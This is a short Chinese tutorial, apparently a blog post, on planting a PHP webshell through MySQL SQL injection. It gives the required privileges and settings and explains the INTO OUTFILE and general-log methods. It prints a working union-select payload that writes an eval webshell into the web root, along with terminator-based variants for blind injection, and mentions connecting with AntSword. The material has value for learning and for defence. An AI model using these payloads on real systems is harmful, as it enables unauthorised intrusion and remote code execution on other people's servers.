如何向mysql写入wbeshell
一、成功写入wbeshell必须满足的4个条件:
(1)数据库拥有root权限或拥有file权限。
(2)知道网站的绝对路径。
(3)PHP的GPC参数为OFF状态。
(4)MYSQL中的secure_file_priv参数不能为NULL。
二、写入方法
1.使用outfile方法。outfile是mysql提供的一个用来写入文件的函数,当我们可以控制写入文件的内容以及文件的保存路径时,我们就可以上传一个webshell。
2.基于日志写入法。将日志文件的导出目录修改成web目录,然后执行webshell查询功能,此时日志文件记录了此过程,这样在web目录下的日志文件就变成了webshell。
三、实战
1.outfile写入
(1)检查secure_file_priv是否开启,输入show variables like ‘%secure%’,查看是否开启,若为NULL,需要到my.ini文件中修改为secure_file_priv=""。
(2)检查当前用户是否有写入权限。为Y即代表有写入权限。
(3)构造payload上传webshell。1’union select 1,"<?php@eval($_GET['a'])?>"into outfile “E:\phpstudy2020\phpstudy\phpstudy_pro\WWW\a.php”#,但是
当我们无法利用union写入时(比如说时间盲注),我们可以利用分隔符写入:
?id=1 INTO OUTFILE ‘物理路径’ lines terminated by (这里是WebShell)#
?id=1 INTO OUTFILE ‘物理路径’ fields terminated by (这里是WebShell)#
?id=1 INTO OUTFILE’物理路径’columns terminated by (这里是WebShell)#
?id=1 INTO OUTFILE ‘物理路径’ lines starting by (这里是WebShell)#
上传成功后利用蚁剑连接,连接成功。(这里被拦截了。。。)
2.log日志写入
(1)查看全局配置日志。
(2)开启全局日志并修改日志文件。
(3)执行sql语句写入日志。
(4)使用蚁剑进行连接。